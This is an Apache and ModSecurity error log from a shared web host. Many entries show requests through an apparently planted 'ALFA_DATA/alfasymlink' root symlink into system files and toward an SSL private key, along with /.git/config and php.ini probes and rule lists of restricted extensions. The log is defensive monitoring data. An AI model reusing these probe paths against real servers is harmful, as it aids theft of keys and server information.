[Sat Oct 24 08:39:46.161895 2026] [ssl:error] [pid 2635684:tid 2635684] (70014)End of file found: [client 44.197.76.210:48114] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:39:50.154801 2026] [core:error] [pid 2625272:tid 2625272] (13)Permission denied: [client 44.223.115.10:5417] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/PNP0400:00/subsystem/devices/PNP0A03:00/device:0b/eject
[Sat Oct 24 08:39:56.122781 2026] [core:error] [pid 2635684:tid 2635684] (13)Permission denied: [client 85.208.96.201:18566] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fib6_nodes/object_size
[Sat Oct 24 08:40:02.175485 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 3.90.73.206:19410] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:40:06.158495 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 3.230.69.161:52306] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:40:16.200014 2026] [security2:error] [pid 2627309:tid 2627309] [client 144.172.105.154:52078] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atynMF0Yuvqa3nuKpvNCYgAAAAk"]
[Sat Oct 24 08:40:16.200230 2026] [security2:error] [pid 2627309:tid 2627309] [client 144.172.105.154:52078] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atynMF0Yuvqa3nuKpvNCYgAAAAk"]
[Sat Oct 24 08:40:16.200559 2026] [security2:error] [pid 2627309:tid 2627309] [client 144.172.105.154:52078] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atynMF0Yuvqa3nuKpvNCYgAAAAk"]
[Sat Oct 24 08:40:16.647250 2026] [security2:error] [pid 2635677:tid 2635677] [client 144.172.105.154:52084] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atynMIWurp-t0SwAQgRpcwAAAAQ"]
[Sat Oct 24 08:40:16.647458 2026] [security2:error] [pid 2635677:tid 2635677] [client 144.172.105.154:52084] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atynMIWurp-t0SwAQgRpcwAAAAQ"]
[Sat Oct 24 08:40:16.647790 2026] [security2:error] [pid 2635677:tid 2635677] [client 144.172.105.154:52084] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atynMIWurp-t0SwAQgRpcwAAAAQ"]
[Sat Oct 24 08:40:18.182421 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 34.239.197.197:34146] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:40:22.145688 2026] [core:error] [pid 2609012:tid 2609012] (13)Permission denied: [client 3.224.215.150:35361] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:03.0/firmware_node/subsystem/devices/ACPI0010:00/LNXCPU:00/physical_node/crash_notes_size
[Sat Oct 24 08:40:31.068136 2026] [core:error] [pid 2627309:tid 2627309] (13)Permission denied: [client 185.191.171.13:37992] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-64/destroy_by_rcu
[Sat Oct 24 08:40:34.197315 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 98.83.177.42:2210] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:40:38.176932 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 100.28.44.58:34820] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:40:42.140351 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 52.0.105.244:51955] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:40:42.868840 2026] [security2:error] [pid 2625330:tid 2625330] [client 43.166.226.57:56238] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "curso-de-ventas.com"] [uri "/"] [unique_id "atynSvMnT_rHlxLKOWDnSwAAAAc"]
[Sat Oct 24 08:40:42.869768 2026] [authz_core:error] [pid 2625330:tid 2625330] [client 43.166.226.57:56238] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 08:40:57.857274 2026] [core:error] [pid 2627309:tid 2627309] (13)Permission denied: [client 185.191.171.3:29354] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/x86_emulator/sanity_checks
[Sat Oct 24 08:41:02.327010 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 23.23.137.202:32610] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:41:06.244492 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 3.210.29.96:3847] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:41:18.130934 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 52.200.54.136:52517] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:41:22.135875 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 3.81.253.213:40387] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:41:30.271578 2026] [ssl:error] [pid 2635676:tid 2635676] (70014)End of file found: [client 18.215.24.66:45955] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:41:42.253459 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 3.225.9.97:29723] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:41:50.166455 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 184.73.47.24:36774] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:41:54.221092 2026] [core:error] [pid 2607843:tid 2607843] (13)Permission denied: [client 44.205.120.22:27845] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/cpu0/driver/cpu1/firmware_node/physical_node/driver/uevent
[Sat Oct 24 08:41:58.146061 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 18.215.24.66:13562] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:42:10.156377 2026] [ssl:error] [pid 2635684:tid 2635684] (70014)End of file found: [client 54.84.147.79:46890] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:42:23.376892 2026] [authz_core:error] [pid 2625330:tid 2625330] [client 45.198.224.125:44086] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 08:42:26.138834 2026] [ssl:error] [pid 2635678:tid 2635678] (70014)End of file found: [client 3.213.85.234:41865] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:42:30.136424 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 44.223.116.149:33304] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:42:34.169507 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 34.234.197.175:60646] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:42:54.275908 2026] [ssl:error] [pid 2635684:tid 2635684] (70014)End of file found: [client 54.80.185.200:2083] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:43:02.140763 2026] [core:error] [pid 2607843:tid 2607843] (13)Permission denied: [client 52.0.105.244:60280] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory22/node0/memory2/node0/cpu1/driver/cpu0/firmware_node/subsystem/drivers/hpet/uevent
[Sat Oct 24 08:43:06.172223 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 18.213.240.226:20812] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:43:20.676528 2026] [core:error] [pid 2635677:tid 2635677] (13)Permission denied: [client 85.208.96.206:58800] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/uts_namespace/objs_per_slab
[Sat Oct 24 08:43:22.134241 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 34.194.226.74:27171] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:43:30.138498 2026] [ssl:error] [pid 2635676:tid 2635676] (70014)End of file found: [client 35.168.238.50:10415] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:43:34.174079 2026] [ssl:error] [pid 2635678:tid 2635678] (70014)End of file found: [client 3.220.70.171:62403] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:43:38.179841 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 44.223.232.55:49267] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:43:42.144858 2026] [ssl:error] [pid 2635684:tid 2635684] (70014)End of file found: [client 23.21.250.48:22171] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:43:46.172460 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 3.213.85.234:6778] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:43:54.137607 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 52.0.105.244:44047] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:43:58.144345 2026] [core:error] [pid 2635676:tid 2635676] (13)Permission denied: [client 3.232.82.72:52586] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory1/node0/cpu1/crash_notes
[Sat Oct 24 08:44:02.204932 2026] [ssl:error] [pid 2635678:tid 2635678] (70014)End of file found: [client 44.220.2.97:45232] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:44:02.531912 2026] [core:error] [pid 2625330:tid 2625330] (13)Permission denied: [client 85.208.96.202:31412] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-64/sanity_checks
[Sat Oct 24 08:44:10.176027 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 52.6.232.201:18801] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:44:22.143277 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 23.21.175.228:42809] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:44:26.234819 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 3.94.40.182:11385] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:44:28.204188 2026] [security2:error] [pid 2635676:tid 2635676] [client 43.130.72.40:39306] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/debug_sinaloa_1.html"] [unique_id "atyoLGyV-56kZb5LgxTncQAAAAE"]
[Sat Oct 24 08:44:28.222534 2026] [security2:error] [pid 2635676:tid 2635676] [client 43.130.72.40:39306] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/debug_sinaloa_1.html"] [unique_id "atyoLGyV-56kZb5LgxTncQAAAAE"]
[Sat Oct 24 08:44:28.222573 2026] [security2:error] [pid 2635676:tid 2635676] [client 43.130.72.40:39306] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/debug_sinaloa_1.html"] [unique_id "atyoLGyV-56kZb5LgxTncQAAAAE"]
[Sat Oct 24 08:44:50.183653 2026] [core:error] [pid 2625272:tid 2625272] (13)Permission denied: [client 3.93.253.174:47755] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input1/event1/subsystem/input3/subsystem/event3/device/device/driver/uevent
[Sat Oct 24 08:44:54.255144 2026] [core:error] [pid 2635676:tid 2635676] (13)Permission denied: [client 54.147.238.89:59144] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty7/subsystem/ttyS1/device/tty/ttyS3/port
[Sat Oct 24 08:44:58.167500 2026] [ssl:error] [pid 2635678:tid 2635678] (70014)End of file found: [client 3.213.213.161:16721] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:45:02.257666 2026] [ssl:error] [pid 2635684:tid 2635684] (70014)End of file found: [client 3.224.104.67:48381] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:45:06.146588 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 35.169.119.108:11078] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:45:12.942922 2026] [core:error] [pid 2607843:tid 2607843] (13)Permission denied: [client 85.208.96.198:53038] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/joydev/sections/__mcount_loc
[Sat Oct 24 08:45:14.191957 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 3.226.34.98:12849] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:45:15.540919 2026] [security2:error] [pid 2635676:tid 2635676] [client 185.191.171.14:38480] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/c0003_890c3_306682cd59f519d79c1a61b9ff3c6b89.key"] [unique_id "atyoW2yV-56kZb5LgxTncwAAAAE"]
[Sat Oct 24 08:45:15.541330 2026] [security2:error] [pid 2635676:tid 2635676] [client 185.191.171.14:38480] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/c0003_890c3_306682cd59f519d79c1a61b9ff3c6b89.key"] [unique_id "atyoW2yV-56kZb5LgxTncwAAAAE"]
[Sat Oct 24 08:45:15.541746 2026] [security2:error] [pid 2635676:tid 2635676] [client 185.191.171.14:38480] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/c0003_890c3_306682cd59f519d79c1a61b9ff3c6b89.key"] [unique_id "atyoW2yV-56kZb5LgxTncwAAAAE"]
[Sat Oct 24 08:45:18.327625 2026] [core:error] [pid 2625330:tid 2625330] (13)Permission denied: [client 44.223.115.10:45730] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/PNP0A03:00/device:10/eject
[Sat Oct 24 08:45:34.222911 2026] [core:error] [pid 2627309:tid 2627309] (13)Permission denied: [client 52.21.62.139:24369] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/device:03/physical_node/subsystem/drivers/virtio-pci/0000:00:05.0/driver/0000:00:03.0/resource4_wc
[Sat Oct 24 08:45:42.157059 2026] [core:error] [pid 2607843:tid 2607843] (13)Permission denied: [client 44.196.118.6:58697] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:00/physical_node/i2c-0/device/subsystem/drivers/pci-stub/new_id
[Sat Oct 24 08:45:54.165556 2026] [ssl:error] [pid 2635678:tid 2635678] (70014)End of file found: [client 52.44.148.203:13820] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:46:18.123189 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 54.157.99.244:14346] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:46:26.154287 2026] [ssl:error] [pid 2635676:tid 2635676] (70014)End of file found: [client 50.19.221.48:55449] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:46:34.204021 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 34.226.89.140:39901] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:46:37.560805 2026] [core:error] [pid 2635684:tid 2635684] (13)Permission denied: [client 185.191.171.1:16524] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/lfd.pid
[Sat Oct 24 08:46:42.159688 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 23.20.178.124:2067] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:46:54.147883 2026] [ssl:error] [pid 2635676:tid 2635676] (70014)End of file found: [client 34.199.252.22:11253] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:46:58.151252 2026] [ssl:error] [pid 2635678:tid 2635678] (70014)End of file found: [client 98.83.8.142:50069] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:47:02.166865 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 54.87.62.248:40454] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:47:06.139300 2026] [ssl:error] [pid 2635684:tid 2635684] (70014)End of file found: [client 98.83.10.183:60272] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:47:14.143950 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 54.87.95.7:20392] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:47:22.910095 2026] [core:error] [pid 2607843:tid 2607843] (13)Permission denied: [client 185.191.171.6:12464] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/request_queue/sanity_checks
[Sat Oct 24 08:47:26.191418 2026] [core:error] [pid 2635676:tid 2635676] (13)Permission denied: [client 3.219.80.71:64253] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory11/node0/cpu1/driver/cpu0/firmware_node/subsystem/devices/LNXSYBUS:00/PNP0A03:00/physical_node/0000:00:01.1/subsystem/slots/5/module/uevent
[Sat Oct 24 08:47:30.156134 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 3.222.190.107:60493] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:47:46.143566 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 52.202.52.82:11558] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:47:56.102765 2026] [authz_core:error] [pid 2625272:tid 2625272] [client 195.96.139.95:44083] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 08:47:59.952858 2026] [core:error] [pid 2635677:tid 2635677] (13)Permission denied: [client 185.191.171.7:43674] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/eventpoll_epi/objects
[Sat Oct 24 08:48:02.140696 2026] [core:error] [pid 2627309:tid 2627309] (13)Permission denied: [client 35.169.240.53:24787] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/PNP0C0F:03/subsystem/devices/LNXCPU:01/physical_node/driver/bind
[Sat Oct 24 08:48:06.437300 2026] [security2:error] [pid 2635676:tid 2635676] [client 185.191.171.17:38592] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/firmware/intel/ibt-hw-37.8.10-fw-1.10.2.27.d.bseq"] [unique_id "atypBmyV-56kZb5LgxTneQAAAAE"]
[Sat Oct 24 08:48:06.437340 2026] [security2:error] [pid 2635676:tid 2635676] [client 185.191.171.17:38592] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/firmware/intel/ibt-hw-37.8.10-fw-1.10.2.27.d.bseq"] [unique_id "atypBmyV-56kZb5LgxTneQAAAAE"]
[Sat Oct 24 08:48:10.160602 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 52.3.156.186:57165] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:48:18.193847 2026] [ssl:error] [pid 2635678:tid 2635678] (70014)End of file found: [client 98.84.70.201:36767] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:48:30.137885 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 44.209.89.189:13780] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:48:33.912692 2026] [core:error] [pid 2625272:tid 2625272] (13)Permission denied: [client 85.208.96.200:64504] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/dev/char/4:67/custom_divisor
[Sat Oct 24 08:48:38.126537 2026] [ssl:error] [pid 2635678:tid 2635678] (70014)End of file found: [client 52.202.233.37:15926] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:48:42.367554 2026] [ssl:error] [pid 2635684:tid 2635684] (70014)End of file found: [client 3.225.45.252:52790] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:48:46.228404 2026] [core:error] [pid 2627273:tid 2627273] (13)Permission denied: [client 98.83.94.113:56958] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/subsystem/drivers/xen-platform-pci/bind
[Sat Oct 24 08:48:54.124342 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 23.21.175.228:13228] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:49:02.225354 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 54.84.102.81:53419] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:49:12.411787 2026] [core:error] [pid 2635677:tid 2635677] (13)Permission denied: [client 185.191.171.10:28380] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip6_mrt_cache/slabs_cpu_partial
[Sat Oct 24 08:49:14.216480 2026] [authz_core:error] [pid 2609012:tid 2609012] [client 23.92.16.244:35846] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg2/php.ini
[Sat Oct 24 08:49:26.153999 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 23.21.227.240:37023] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:49:34.224633 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 34.205.170.13:63800] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:49:46.221112 2026] [ssl:error] [pid 2627273:tid 2627273] (5)Input/output error: [client 18.214.238.178:49591] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:49:50.161012 2026] [ssl:error] [pid 2635684:tid 2635684] (70014)End of file found: [client 98.83.94.113:55660] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:49:58.132345 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 44.221.180.179:2596] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 08:50:14.246308 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 98.82.66.172:4551] AH02013: coalesce failed to read from data bucket
